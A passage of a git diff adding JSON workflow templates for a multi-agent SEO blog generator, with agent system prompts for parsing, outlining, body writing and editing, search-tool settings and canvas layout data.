question involves a single issue but requests \u201cmethod comparison/multiple explanations\u201d \u2192 use **depth-first**.\n * If the question can naturally be split into \u22653 independent sub-questions \u2192 use **breadth-first**.\n * If the question can be answered by a single fact/specification/definition \u2192 use **simple query**.\n3. **Research Plan Formulation**\n * Depth-first: define 3\u20135 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For each conclusion, attach 1\u20132 strongest pieces of evidence.\n---\n## Quality Gate Checklist (Verify at Each Stage)\n* **Stage 1 (Decomposition)**:\n * [ ] Key concepts and expected outputs identified\n * [ ] Required facts/data points listed\n* **Stage 2 (Retrieval)**:\n * [ ] Meets quality standards (see above)\n * [ ] If not met: execute query iteration\n* **Stage 3 (Generation)**:\n * [ ] Each conclusion has at least one direct evidence source\n * [ ] State assumptions/uncertainties\n * [ ] Provide next-step suggestions or experiment/retrieval plans\n * [ ] Final length and depth match user expectations (comply with word count/format if specified)\n---\n## Core Principles\n1. **Strict reliance on the knowledge base**: answers must be **fully bounded** by the content retrieved from the knowledge base.\n2. **No fabrication**: do not generate, infer, or create information that is not explicitly present in the knowledge base.\n3. **Accuracy first**: prefer incompleteness over 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+} \ No newline at end of file diff --git a/agent/templates/market_generate_seo_blog.json b/agent/templates/market_generate_seo_blog.json new file mode 100644 index 0000000..4c437a5 --- /dev/null +++ b/agent/templates/market_generate_seo_blog.json @@ -0,0 +1,919 @@ +{ + "id": 12, + "title": { + "en": "Generate SEO Blog", + "zh": "生成SEO博客"}, + "description": { + "en": "This workflow automatically generates a complete SEO-optimized blog article based on a simple user input. You don’t need any writing experience. Just provide a topic or short request — the system will handle the rest.", + "zh": "此工作流根据简单的用户输入自动生成完整的SEO博客文章。你无需任何写作经验，只需提供一个主题或简短请求，系统将处理其余部分。"}, + "canvas_type": "Marketing", + "dsl": { + "components": { + "Agent:BetterSitesSend": { + "downstream": [ + "Agent:EagerNailsRemain" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.3, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Balance", + "presencePenaltyEnabled": false, + "presence_penalty": 0.2, + "prompts": [ + { + "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Outline_Agent**, responsible for generating a clear and SEO-optimized blog outline based on the user's parsed writing intent and keyword strategy.\n\n# Tool Access:\n\n- You have access to a search tool called `Tavily Search`.\n\n- If you are unsure how to structure a section, you may call this tool to search for related blog outlines or content from Google.\n\n- Do not overuse it. Your job is to extract **structure**, not to write paragraphs.\n\n\n# Goals\n\n1. Create a well-structured outline with appropriate H2 and H3 headings.\n\n2. Ensure logical flow from introduction to conclusion.\n\n3. Assign 1\u20132 suggested long-tail keywords to each major section for SEO alignment.\n\n4. Make the structure suitable for downstream paragraph writing.\n\n\n\n\n#Note\n\n- Use concise, scannable section titles.\n\n- Do not write full paragraphs.\n\n- Prioritize clarity, logical progression, and SEO alignment.\n\n\n\n- If the blog type is \u201cTutorial\u201d or \u201cHow-to\u201d, include step-based sections.\n\n\n# Input\n\nYou will receive:\n\n- Writing Type (e.g., Tutorial, Informative Guide)\n\n- Target Audience\n\n- User Intent Summary\n\n- 3\u20135 long-tail keywords\n\n\nUse this information to design a structure that both informs readers and maximizes search engine visibility.\n\n# Output Format\n\n```markdown\n\n## Blog Title (suggested)\n\n[Give a short, SEO-friendly title suggestion]\n\n## Outline\n\n### Introduction\n\n- Purpose of the article\n\n- Brief context\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 1]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 2]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 3]\n\n- [Optional H3 Subsection Title A]\n\n - [Explanation of sub-point]\n\n- [Optional H3 Subsection Title B]\n\n - [Explanation of sub-point]\n\n- **Suggested keywords**: [keyword1]\n\n### Conclusion\n\n- Recap key takeaways\n\n- Optional CTA (Call to Action)\n\n- **Suggested keywords**: [keyword3]\n\n", + "temperature": 0.5, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + } + ], + "topPEnabled": false, + "top_p": 0.85, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "Agent:ClearRabbitsScream" + ] + }, + "Agent:ClearRabbitsScream": { + "downstream": [ + "Agent:BetterSitesSend" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "The user query is {sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Parse_And_Keyword_Agent**, responsible for interpreting a user's blog writing request and generating a structured writing intent summary and keyword strategy for SEO-optimized content generation.\n\n# Goals\n\n1. Extract and infer the user's true writing intent, even if the input is informal or vague.\n\n2. Identify the writing type, target audience, and implied goal.\n\n3. Suggest 3\u20135 long-tail keywords based on the input and context.\n\n4. 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Write each section (based on H2/H3 structure) as a complete and natural blog paragraph.\n\n2. Integrate the suggested long-tail keywords naturally into each section.\n\n3. When appropriate, use the `Tavily Search` tool to enrich your writing with relevant facts, examples, or quotes.\n\n4. Ensure each section is clear, engaging, and informative, suitable for both human readers and search engines.\n\n\n# Style Guidelines\n\n- Write in a tone appropriate to the audience. Be explanatory, not promotional, unless it's a marketing blog.\n\n- Avoid generic filler content. Prioritize clarity, structure, and value.\n\n- Ensure SEO keywords are embedded seamlessly, not forcefully.\n\n\n\n- Maintain writing rhythm. Vary sentence lengths. Use transitions between ideas.\n\n\n# Input\n\n\nYou will receive:\n\n- Blog title\n\n- Structured outline (including section titles, keywords, and descriptions)\n\n- Target audience\n\n- Blog type and user intent\n\nYou must **follow the outline strictly**. Write content **section-by-section**, based on the structure.\n\n\n# Output Format\n\n```markdown\n\n## H2: [Section Title]\n\n[Your generated content for this section \u2014 500-600 words, using keywords naturally.]\n\n", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + } + ], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "Agent:BetterSitesSend" + ] + }, + "Agent:LovelyHeadsOwn": { + "downstream": [ + "Message:LegalBeansBet" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\nThe Outline agent output is {Agent:BetterSitesSend@content}\n\nThe Body agent output is {Agent:EagerNailsRemain@content}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Editor_Agent**, responsible for finalizing the blog post for both human readability and SEO effectiveness.\n\n# Goals\n\n1. Polish the entire blog content for clarity, coherence, and style.\n\n2. Improve transitions between sections, ensure logical flow.\n\n3. Verify that keywords are used appropriately and effectively.\n\n4. Conduct a lightweight SEO audit \u2014 checking keyword density, structure (H1/H2/H3), and overall searchability.\n\n\n\n# Style Guidelines\n\n- Be precise. Avoid bloated or vague language.\n\n- Maintain an informative and engaging tone, suitable to the target audience.\n\n- Do not remove keywords unless absolutely necessary for clarity.\n\n- Ensure paragraph flow and section continuity.\n\n\n# Input\n\nYou will receive:\n\n- Full blog content, written section-by-section\n\n- Original outline with suggested keywords\n\n- Target audience and writing type\n\n# Output Format\n\n```markdown\n\n[The revised, fully polished blog post content goes here.]\n\n", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + } + }, + "upstream": [ + "Agent:EagerNailsRemain" + ] + }, + "Message:LegalBeansBet": { + "downstream": [], + "obj": { + "component_name": "Message", + "params": { + "content": [ + "{Agent:LovelyHeadsOwn@content}" + ] + } + }, + "upstream": [ + "Agent:LovelyHeadsOwn" + ] + }, + "begin": { + "downstream": [ + "Agent:ClearRabbitsScream" + ], + "obj": { + "component_name": "Begin", + "params": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "Hi! I'm your SEO blog assistant.\n\nTo get started, please tell me:\n1. What topic you want the blog to cover\n2. Who is the target audience\n3. What you hope to achieve with this blog (e.g., SEO traffic, teaching beginners, promoting a product)\n" + } + }, + "upstream": [] + } + }, + "globals": { + "sys.conversation_turns": 0, + "sys.files": [], + "sys.query": "", + "sys.user_id": "" + }, + "graph": { + "edges": [ + { + "data": { + "isHovered": false + }, + "id": "xy-edge__beginstart-Agent:ClearRabbitsScreamend", + "source": "begin", + "sourceHandle": "start", + "target": "Agent:ClearRabbitsScream", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:ClearRabbitsScreamstart-Agent:BetterSitesSendend", + "source": "Agent:ClearRabbitsScream", + "sourceHandle": "start", + "target": "Agent:BetterSitesSend", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:BetterSitesSendtool-Tool:SharpPensBurnend", + "source": "Agent:BetterSitesSend", + "sourceHandle": "tool", + "target": "Tool:SharpPensBurn", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:BetterSitesSendstart-Agent:EagerNailsRemainend", + "source": "Agent:BetterSitesSend", + "sourceHandle": "start", + "target": "Agent:EagerNailsRemain", + "targetHandle": "end" + }, + { + "id": "xy-edge__Agent:EagerNailsRemaintool-Tool:WickedDeerHealend", + "source": "Agent:EagerNailsRemain", + "sourceHandle": "tool", + "target": "Tool:WickedDeerHeal", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:EagerNailsRemainstart-Agent:LovelyHeadsOwnend", + "source": "Agent:EagerNailsRemain", + "sourceHandle": "start", + "target": "Agent:LovelyHeadsOwn", + "targetHandle": "end" + }, + { + "data": { + "isHovered": false + }, + "id": "xy-edge__Agent:LovelyHeadsOwnstart-Message:LegalBeansBetend", + "source": "Agent:LovelyHeadsOwn", + "sourceHandle": "start", + "target": "Message:LegalBeansBet", + "targetHandle": "end" + } + ], + "nodes": [ + { + "data": { + "form": { + "enablePrologue": true, + "inputs": {}, + "mode": "conversational", + "prologue": "Hi! I'm your SEO blog assistant.\n\nTo get started, please tell me:\n1. What topic you want the blog to cover\n2. Who is the target audience\n3. What you hope to achieve with this blog (e.g., SEO traffic, teaching beginners, promoting a product)\n" + }, + "label": "Begin", + "name": "begin" + }, + "id": "begin", + "measured": { + "height": 48, + "width": 200 + }, + "position": { + "x": 50, + "y": 200 + }, + "selected": false, + "sourcePosition": "left", + "targetPosition": "right", + "type": "beginNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 1, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "The user query is {sys.query}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Parse_And_Keyword_Agent**, responsible for interpreting a user's blog writing request and generating a structured writing intent summary and keyword strategy for SEO-optimized content generation.\n\n# Goals\n\n1. Extract and infer the user's true writing intent, even if the input is informal or vague.\n\n2. Identify the writing type, target audience, and implied goal.\n\n3. Suggest 3\u20135 long-tail keywords based on the input and context.\n\n4. Output all data in a Markdown format for downstream agents.\n\n# Operating Guidelines\n\n\n- If the user's input lacks clarity, make reasonable and **conservative** assumptions based on SEO best practices.\n\n- Always choose one clear \"Writing Type\" from the list below.\n\n- Your job is not to write the blog \u2014 only to structure the brief.\n\n# Output Format\n\n```markdown\n## Writing Type\n\n[Choose one: Tutorial / Informative Guide / Marketing Content / Case Study / Opinion Piece / How-to / Comparison Article]\n\n## Target Audience\n\n[Try to be specific based on clues in the input: e.g., marketing managers, junior developers, SEO beginners]\n\n## User Intent Summary\n\n[A 1\u20132 sentence summary of what the user wants to achieve with the blog post]\n\n## Suggested Long-tail Keywords\n\n- keyword 1\n\n- keyword 2\n\n- keyword 3\n\n- keyword 4 (optional)\n\n- keyword 5 (optional)\n\n\n\n\n## Input Examples (and how to handle them)\n\nInput: \"I want to write about RAGFlow.\"\n\u2192 Output: Informative Guide, Audience: AI developers, Intent: explain what RAGFlow is and its use cases\n\nInput: \"Need a blog to promote our prompt design tool.\"\n\u2192 Output: Marketing Content, Audience: product managers or tool adopters, Intent: raise awareness and interest in the product\n\n\n\nInput: \"How to get more Google traffic using AI\"\n\u2192 Output: How-to, Audience: SEO marketers, Intent: guide readers on applying AI for SEO growth", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Parse And Keyword Agent" + }, + "dragging": false, + "id": "Agent:ClearRabbitsScream", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 344.7766966202233, + "y": 234.82202253184496 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.3, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Balance", + "presencePenaltyEnabled": false, + "presence_penalty": 0.2, + "prompts": [ + { + "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Outline_Agent**, responsible for generating a clear and SEO-optimized blog outline based on the user's parsed writing intent and keyword strategy.\n\n# Tool Access:\n\n- You have access to a search tool called `Tavily Search`.\n\n- If you are unsure how to structure a section, you may call this tool to search for related blog outlines or content from Google.\n\n- Do not overuse it. Your job is to extract **structure**, not to write paragraphs.\n\n\n# Goals\n\n1. Create a well-structured outline with appropriate H2 and H3 headings.\n\n2. Ensure logical flow from introduction to conclusion.\n\n3. Assign 1\u20132 suggested long-tail keywords to each major section for SEO alignment.\n\n4. Make the structure suitable for downstream paragraph writing.\n\n\n\n\n#Note\n\n- Use concise, scannable section titles.\n\n- Do not write full paragraphs.\n\n- Prioritize clarity, logical progression, and SEO alignment.\n\n\n\n- If the blog type is \u201cTutorial\u201d or \u201cHow-to\u201d, include step-based sections.\n\n\n# Input\n\nYou will receive:\n\n- Writing Type (e.g., Tutorial, Informative Guide)\n\n- Target Audience\n\n- User Intent Summary\n\n- 3\u20135 long-tail keywords\n\n\nUse this information to design a structure that both informs readers and maximizes search engine visibility.\n\n# Output Format\n\n```markdown\n\n## Blog Title (suggested)\n\n[Give a short, SEO-friendly title suggestion]\n\n## Outline\n\n### Introduction\n\n- Purpose of the article\n\n- Brief context\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 1]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 2]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 3]\n\n- [Optional H3 Subsection Title A]\n\n - [Explanation of sub-point]\n\n- [Optional H3 Subsection Title B]\n\n - [Explanation of sub-point]\n\n- **Suggested keywords**: [keyword1]\n\n### Conclusion\n\n- Recap key takeaways\n\n- Optional CTA (Call to Action)\n\n- **Suggested keywords**: [keyword3]\n\n", + "temperature": 0.5, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + } + ], + "topPEnabled": false, + "top_p": 0.85, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Outline Agent" + }, + "dragging": false, + "id": "Agent:BetterSitesSend", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 613.4368763415628, + "y": 164.3074269048589 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "description": "This is an agent for a specific task.", + "user_prompt": "This is the order you need to send to the agent." + }, + "label": "Tool", + "name": "flow.tool_0" + }, + "dragging": false, + "id": "Tool:SharpPensBurn", + "measured": { + "height": 44, + "width": 200 + }, + "position": { + "x": 580.1877078861457, + "y": 287.7669662022325 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "toolNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\n\n\nThe Outline agent output is {Agent:BetterSitesSend@content}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Body_Agent**, responsible for generating the full content of each section of an SEO-optimized blog based on the provided outline and keyword strategy.\n\n# Tool Access:\n\nYou can use the `Tavily Search` tool to retrieve relevant content, statistics, or examples to support each section you're writing.\n\nUse it **only** when the provided outline lacks enough information, or if the section requires factual grounding.\n\nAlways cite the original link or indicate source where possible.\n\n\n# Goals\n\n1. Write each section (based on H2/H3 structure) as a complete and natural blog paragraph.\n\n2. Integrate the suggested long-tail keywords naturally into each section.\n\n3. When appropriate, use the `Tavily Search` tool to enrich your writing with relevant facts, examples, or quotes.\n\n4. Ensure each section is clear, engaging, and informative, suitable for both human readers and search engines.\n\n\n# Style Guidelines\n\n- Write in a tone appropriate to the audience. Be explanatory, not promotional, unless it's a marketing blog.\n\n- Avoid generic filler content. Prioritize clarity, structure, and value.\n\n- Ensure SEO keywords are embedded seamlessly, not forcefully.\n\n\n\n- Maintain writing rhythm. Vary sentence lengths. Use transitions between ideas.\n\n\n# Input\n\n\nYou will receive:\n\n- Blog title\n\n- Structured outline (including section titles, keywords, and descriptions)\n\n- Target audience\n\n- Blog type and user intent\n\nYou must **follow the outline strictly**. Write content **section-by-section**, based on the structure.\n\n\n# Output Format\n\n```markdown\n\n## H2: [Section Title]\n\n[Your generated content for this section \u2014 500-600 words, using keywords naturally.]\n\n", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [ + { + "component_name": "TavilySearch", + "name": "TavilySearch", + "params": { + "api_key": "", + "days": 7, + "exclude_domains": [], + "include_answer": false, + "include_domains": [], + "include_image_descriptions": false, + "include_images": false, + "include_raw_content": true, + "max_results": 5, + "outputs": { + "formalized_content": { + "type": "string", + "value": "" + }, + "json": { + "type": "Array", + "value": [] + } + }, + "query": "sys.query", + "search_depth": "basic", + "topic": "general" + } + } + ], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Body Agent" + }, + "dragging": false, + "id": "Agent:EagerNailsRemain", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 889.0614605692713, + "y": 247.00973041799065 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "description": "This is an agent for a specific task.", + "user_prompt": "This is the order you need to send to the agent." + }, + "label": "Tool", + "name": "flow.tool_1" + }, + "dragging": false, + "id": "Tool:WickedDeerHeal", + "measured": { + "height": 44, + "width": 200 + }, + "position": { + "x": 853.2006404239659, + "y": 364.37541577229143 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "toolNode" + }, + { + "data": { + "form": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.5, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 5, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + "outputs": { + "content": { + "type": "string", + "value": "" + } + }, + "parameter": "Precise", + "presencePenaltyEnabled": false, + "presence_penalty": 0.5, + "prompts": [ + { + "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\nThe Outline agent output is {Agent:BetterSitesSend@content}\n\nThe Body agent output is {Agent:EagerNailsRemain@content}", + "role": "user" + } + ], + "sys_prompt": "# Role\n\nYou are the **Editor_Agent**, responsible for finalizing the blog post for both human readability and SEO effectiveness.\n\n# Goals\n\n1. Polish the entire blog content for clarity, coherence, and style.\n\n2. Improve transitions between sections, ensure logical flow.\n\n3. Verify that keywords are used appropriately and effectively.\n\n4. Conduct a lightweight SEO audit \u2014 checking keyword density, structure (H1/H2/H3), and overall searchability.\n\n\n\n# Style Guidelines\n\n- Be precise. Avoid bloated or vague language.\n\n- Maintain an informative and engaging tone, suitable to the target audience.\n\n- Do not remove keywords unless absolutely necessary for clarity.\n\n- Ensure paragraph flow and section continuity.\n\n\n# Input\n\nYou will receive:\n\n- Full blog content, written section-by-section\n\n- Original outline with suggested keywords\n\n- Target audience and writing type\n\n# Output Format\n\n```markdown\n\n[The revised, fully polished blog post content goes here.]\n\n", + "temperature": 0.2, + "temperatureEnabled": true, + "tools": [], + "topPEnabled": false, + "top_p": 0.75, + "user_prompt": "", + "visual_files_var": "" + }, + "label": "Agent", + "name": "Editor Agent" + }, + "dragging": false, + "id": "Agent:LovelyHeadsOwn", + "measured": { + "height": 84, + "width": 200 + }, + "position": { + "x": 1160.3332919804993, + "y": 149.50806732882472 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "agentNode" + }, + { + "data": { + "form": { + "content": [ + "{Agent:LovelyHeadsOwn@content}" + ] + }, + "label": "Message", + "name": "Response" + }, + "dragging": false, + "id": "Message:LegalBeansBet", + "measured": { + "height": 56, + "width": 200 + }, + "position": { + "x": 1370.6665839609984, + "y": 267.0323933738015 + }, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "messageNode" + }, + { + "data": { + "form": { + "text": "This workflow automatically generates a complete SEO-optimized blog article based on a simple user input. You don\u2019t need any writing experience. Just provide a topic or short request \u2014 the system will handle the rest.\n\nThe process includes the following key stages:\n\n1. **Understanding your topic and goals**\n2. **Designing the blog structure**\n3. **Writing high-quality content**\n\n\n" + }, + "label": "Note", + "name": "Workflow Overall Description" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 205, + "id": "Note:SlimyGhostsWear", + "measured": { + "height": 205, + "width": 415 + }, + "position": { + "x": -284.3143151688742, + "y": 150.47632147913419 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 415 + }, + { + "data": { + "form": { + "text": "**Purpose**: \nThis agent reads the user\u2019s input and figures out what kind of blog needs to be written.\n\n**What it does**:\n- Understands the main topic you want to write about \n- Identifies who the blog is for (e.g., beginners, marketers, developers) \n- Determines the writing purpose (e.g., SEO traffic, product promotion, education) \n- Suggests 3\u20135 long-tail SEO keywords related to the topic" + }, + "label": "Note", + "name": "Parse And Keyword Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 152, + "id": "Note:EmptyChairsShake", + "measured": { + "height": 152, + "width": 340 + }, + "position": { + "x": 295.04147626768133, + "y": 372.2755718118446 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 340 + }, + { + "data": { + "form": { + "text": "**Purpose**: \nThis agent builds the blog structure \u2014 just like writing a table of contents before you start writing the full article.\n\n**What it does**:\n- Suggests a clear blog title that includes important keywords \n- Breaks the article into sections using H2 and H3 headings (like a professional blog layout) \n- Assigns 1\u20132 recommended keywords to each section to help with SEO \n- Follows the writing goal and target audience set in the previous step" + }, + "label": "Note", + "name": "Outline Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 146, + "id": "Note:TallMelonsNotice", + "measured": { + "height": 146, + "width": 343 + }, + "position": { + "x": 598.5644991893463, + "y": 5.801054564756448 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 343 + }, + { + "data": { + "form": { + "text": "**Purpose**: \nThis agent is responsible for writing the actual content of the blog \u2014 paragraph by paragraph \u2014 based on the outline created earlier.\n\n**What it does**:\n- Looks at each H2/H3 section in the outline \n- Writes 150\u2013220 words of clear, helpful, and well-structured content per section \n- Includes the suggested SEO keywords naturally (not keyword stuffing) \n- Uses real examples or facts if needed (by calling a web search tool like Tavily)" + }, + "label": "Note", + "name": "Body Agent" + }, + "dragHandle": ".note-drag-handle", + "dragging": false, + "height": 137, + "id": "Note:RipeCougarsBuild", + "measured": { + "height": 137, + "width": 319 + }, + "position": { + "x": 860.4854129814981, + "y": 427.2196835690842 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 319 + }, + { + "data": { + "form": { + "text": "**Purpose**: \nThis agent reviews the entire blog draft to make sure it is smooth, professional, and SEO-friendly. It acts like a human editor before publishing.\n\n**What it does**:\n- Polishes the writing: improves sentence clarity, fixes awkward phrasing \n- Makes sure the content flows well from one section to the next \n- Double-checks keyword usage: are they present, natural, and not overused? \n- Verifies the blog structure (H1, H2, H3 headings) is correct \n- Adds two key SEO elements:\n - **Meta Title** (shows up in search results)\n - **Meta Description** (summary for Google and social sharing)" + }, + "label": "Note", + "name": "Editor Agent" + }, + "dragHandle": ".note-drag-handle", + "height": 146, + "id": "Note:OpenTurkeysSell", + "measured": { + "height": 146, + "width": 320 + }, + "position": { + "x": 1129, + "y": -30 + }, + "resizing": false, + "selected": false, + "sourcePosition": "right", + "targetPosition": "left", + "type": "noteNode", + "width": 320 + } + ] + }, + "history": [], + "messages": [], + "path": [], + "retrieval": [] + }, + "avatar": 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+} diff --git a/agent/templates/seo_blog.json b/agent/templates/seo_blog.json new file mode 100644 index 0000000..fb9e4bb --- /dev/null +++ b/agent/templates/seo_blog.json @@ -0,0 +1,919 @@ +{ + "id": 4, + "title": { + "en": "Generate SEO Blog", + "zh": "生成SEO博客"}, + "description": { + "en": "This workflow automatically generates a complete SEO-optimized blog article based on a simple user input. You don’t need any writing experience. Just provide a topic or short request — the system will handle the rest.", + "zh": "此工作流根据简单的用户输入自动生成完整的SEO博客文章。你无需任何写作经验，只需提供一个主题或简短请求，系统将处理其余部分。"}, + "canvas_type": "Recommended", + "dsl": { + "components": { + "Agent:BetterSitesSend": { + "downstream": [ + "Agent:EagerNailsRemain" + ], + "obj": { + "component_name": "Agent", + "params": { + "delay_after_error": 1, + "description": "", + "exception_comment": "", + "exception_default_value": "", + "exception_goto": [], + "exception_method": null, + "frequencyPenaltyEnabled": false, + "frequency_penalty": 0.3, + "llm_id": "deepseek-chat@DeepSeek", + "maxTokensEnabled": false, + "max_retries": 3, + "max_rounds": 3, + "max_tokens": 4096, + "mcp": [], + "message_history_window_size": 12, + 